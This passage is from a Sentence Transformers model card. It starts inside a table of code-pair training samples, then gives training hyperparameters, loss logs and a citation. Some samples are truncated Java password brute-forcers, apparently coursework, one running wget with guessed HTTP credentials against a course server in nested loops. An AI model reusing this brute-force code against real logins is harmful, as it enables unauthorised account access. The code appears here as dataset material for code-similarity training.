"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> private int charLen = chars.length(); <br> private int n = 0; <br> private int n3 = charLen*charLen*charLen; <br> private String response;<br> private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];<br> private char[][] data = new char[passwdLength][charLen];<br> private char[] pwdChar2 = new char[2];<br> private char[] pwdChar = new char[passwdLength];<br> private String url;<br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br>...</code> | |
|
| <code>0</code> | <code><br>import java.io.*;<br>import java.awt.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br> public static void main (String[] args)<br> {<br> String pw = new String();<br> pw = getPassword ();<br> System.out.println("Password is: "+pw);<br> }<br> public static String getPassword()<br> {<br> String passWord = new String();<br> passWord = "AAA";<br> char[] guess = passWord.toCharArray();<br> Process pro = null;<br> Runtime runtime = Runtime.getRuntime();<br> BufferedReader in = null;<br> String str=null;<br> boolean found = true;<br><br> System.out.println(" attacking.....");<br> for (int i=65;i<=122 ;i++ )<br> {<br> guess[0]=(char)(i);<br> for (int j=65;j<=122 ;j++ )<br> {<br> guess[1]=(char)(j);<br> for (int k=65 ;k<=122 ;k++ )<br> {<br> guess[2]=(char)(k);<br> passWord = new String(guess);<br> String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";<br> try<br> {<br> pro = runtime.exec(cmd);<br><br> in = new BufferedReader(new InputStreamReader(pro.getErrorSt...</code> | <code><br><br>import java.io.*;<br>import java.text.*;<br>import java.util.*;<br>import java.net.*;<br><br>public class BruteForce extends Thread<br>{<br> private static final String USERNAME = "";<br> private static final char [] POSSIBLE_CHAR =<br> {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',<br> 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',<br> 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',<br> 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private static int NUMBER_OF_THREAD = 500;<br><br> private static Date startDate = null;<br> private static Date endDate = null;<br><br> private String address;<br> private String password;<br><br> public BruteForce(String address, String password)<br> {<br> this.address = address;<br> this.password = password;<br> }<br><br> public static void main(String[] args) throws IOException<br> {<br> if (args.length < 1)<br> {<br> System.err.println("Invalid usage!");<br> System.err.println("...</code> | |
|
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) |
|
|
|
### Training Hyperparameters |
|
#### Non-Default Hyperparameters |
|
|
|
- `eval_strategy`: steps |
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `num_train_epochs`: 1 |
|
- `fp16`: True |
|
|
|
#### All Hyperparameters |
|
<details><summary>Click to expand</summary> |
|
|
|
- `overwrite_output_dir`: False |
|
- `do_predict`: False |
|
- `eval_strategy`: steps |
|
- `prediction_loss_only`: True |
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `per_gpu_train_batch_size`: None |
|
- `per_gpu_eval_batch_size`: None |
|
- `gradient_accumulation_steps`: 1 |
|
- `eval_accumulation_steps`: None |
|
- `torch_empty_cache_steps`: None |
|
- `learning_rate`: 5e-05 |
|
- `weight_decay`: 0.0 |
|
- `adam_beta1`: 0.9 |
|
- `adam_beta2`: 0.999 |
|
- `adam_epsilon`: 1e-08 |
|
- `max_grad_norm`: 1.0 |
|
- `num_train_epochs`: 1 |
|
- `max_steps`: -1 |
|
- `lr_scheduler_type`: linear |
|
- `lr_scheduler_kwargs`: {} |
|
- `warmup_ratio`: 0.0 |
|
- `warmup_steps`: 0 |
|
- `log_level`: passive |
|
- `log_level_replica`: warning |
|
- `log_on_each_node`: True |
|
- `logging_nan_inf_filter`: True |
|
- `save_safetensors`: True |
|
- `save_on_each_node`: False |
|
- `save_only_model`: False |
|
- `restore_callback_states_from_checkpoint`: False |
|
- `no_cuda`: False |
|
- `use_cpu`: False |
|
- `use_mps_device`: False |
|
- `seed`: 42 |
|
- `data_seed`: None |
|
- `jit_mode_eval`: False |
|
- `use_ipex`: False |
|
- `bf16`: False |
|
- `fp16`: True |
|
- `fp16_opt_level`: O1 |
|
- `half_precision_backend`: auto |
|
- `bf16_full_eval`: False |
|
- `fp16_full_eval`: False |
|
- `tf32`: None |
|
- `local_rank`: 0 |
|
- `ddp_backend`: None |
|
- `tpu_num_cores`: None |
|
- `tpu_metrics_debug`: False |
|
- `debug`: [] |
|
- `dataloader_drop_last`: False |
|
- `dataloader_num_workers`: 0 |
|
- `dataloader_prefetch_factor`: None |
|
- `past_index`: -1 |
|
- `disable_tqdm`: False |
|
- `remove_unused_columns`: True |
|
- `label_names`: None |
|
- `load_best_model_at_end`: False |
|
- `ignore_data_skip`: False |
|
- `fsdp`: [] |
|
- `fsdp_min_num_params`: 0 |
|
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
|
- `fsdp_transformer_layer_cls_to_wrap`: None |
|
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
|
- `deepspeed`: None |
|
- `label_smoothing_factor`: 0.0 |
|
- `optim`: adamw_torch |
|
- `optim_args`: None |
|
- `adafactor`: False |
|
- `group_by_length`: False |
|
- `length_column_name`: length |
|
- `ddp_find_unused_parameters`: None |
|
- `ddp_bucket_cap_mb`: None |
|
- `ddp_broadcast_buffers`: False |
|
- `dataloader_pin_memory`: True |
|
- `dataloader_persistent_workers`: False |
|
- `skip_memory_metrics`: True |
|
- `use_legacy_prediction_loop`: False |
|
- `push_to_hub`: False |
|
- `resume_from_checkpoint`: None |
|
- `hub_model_id`: None |
|
- `hub_strategy`: every_save |
|
- `hub_private_repo`: None |
|
- `hub_always_push`: False |
|
- `gradient_checkpointing`: False |
|
- `gradient_checkpointing_kwargs`: None |
|
- `include_inputs_for_metrics`: False |
|
- `include_for_metrics`: [] |
|
- `eval_do_concat_batches`: True |
|
- `fp16_backend`: auto |
|
- `push_to_hub_model_id`: None |
|
- `push_to_hub_organization`: None |
|
- `mp_parameters`: |
|
- `auto_find_batch_size`: False |
|
- `full_determinism`: False |
|
- `torchdynamo`: None |
|
- `ray_scope`: last |
|
- `ddp_timeout`: 1800 |
|
- `torch_compile`: False |
|
- `torch_compile_backend`: None |
|
- `torch_compile_mode`: None |
|
- `include_tokens_per_second`: False |
|
- `include_num_input_tokens_seen`: False |
|
- `neftune_noise_alpha`: None |
|
- `optim_target_modules`: None |
|
- `batch_eval_metrics`: False |
|
- `eval_on_start`: False |
|
- `use_liger_kernel`: False |
|
- `eval_use_gather_object`: False |
|
- `average_tokens_across_devices`: False |
|
- `prompts`: None |
|
- `batch_sampler`: batch_sampler |
|
- `multi_dataset_batch_sampler`: proportional |
|
|
|
</details> |
|
|
|
### Training Logs |
|
| Epoch | Step | Training Loss | Validation Loss | |
|
|:------:|:----:|:-------------:|:---------------:| |
|
| 0.0957 | 100 | 0.0506 | 0.0198 | |
|
| 0.1914 | 200 | 0.0159 | 0.0178 | |
|
| 0.2871 | 300 | 0.0267 | 0.0195 | |
|
| 0.3828 | 400 | 0.0341 | 0.0202 | |
|
| 0.4785 | 500 | 0.0139 | 0.0161 | |
|
| 0.5742 | 600 | 0.0142 | 0.0157 | |
|
| 0.6699 | 700 | 0.0244 | 0.0154 | |
|
| 0.7656 | 800 | 0.018 | 0.0152 | |
|
| 0.8612 | 900 | 0.0088 | 0.0153 | |
|
| 0.9569 | 1000 | 0.0205 | 0.0146 | |
|
|
|
|
|
### Framework Versions |
|
- Python: 3.11.11 |
|
- Sentence Transformers: 4.1.0 |
|
- Transformers: 4.52.4 |
|
- PyTorch: 2.8.0.dev20250319+cu128 |
|
- Accelerate: 1.7.0 |
|
- Datasets: 3.6.0 |
|
- Tokenizers: 0.21.1 |
|
|
|
## Citation |
|
|
|
### BibTeX |
|
|
|
#### Sentence Transformers and SoftmaxLoss |
|
```bibtex |
|
@inproceedings{reimers-2019-sentence-bert, |
|
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
|
author = "Reimers, Nils and Gurevych, Iryna", |
|
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
|
month = "11", |
|
year = "2019", |
|
publisher = "Association for Computational Linguistics", |
|
url = "https://arxiv.org/abs/1908.10084", |
|
} |
|
``` |
|
|
|
<!-- |
|
## Glossary |
|
|
|
*Clearly define terms in order to be accessible across audiences.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Authors |
|
|
|
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Contact |
|
|
|
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* |
|
--> |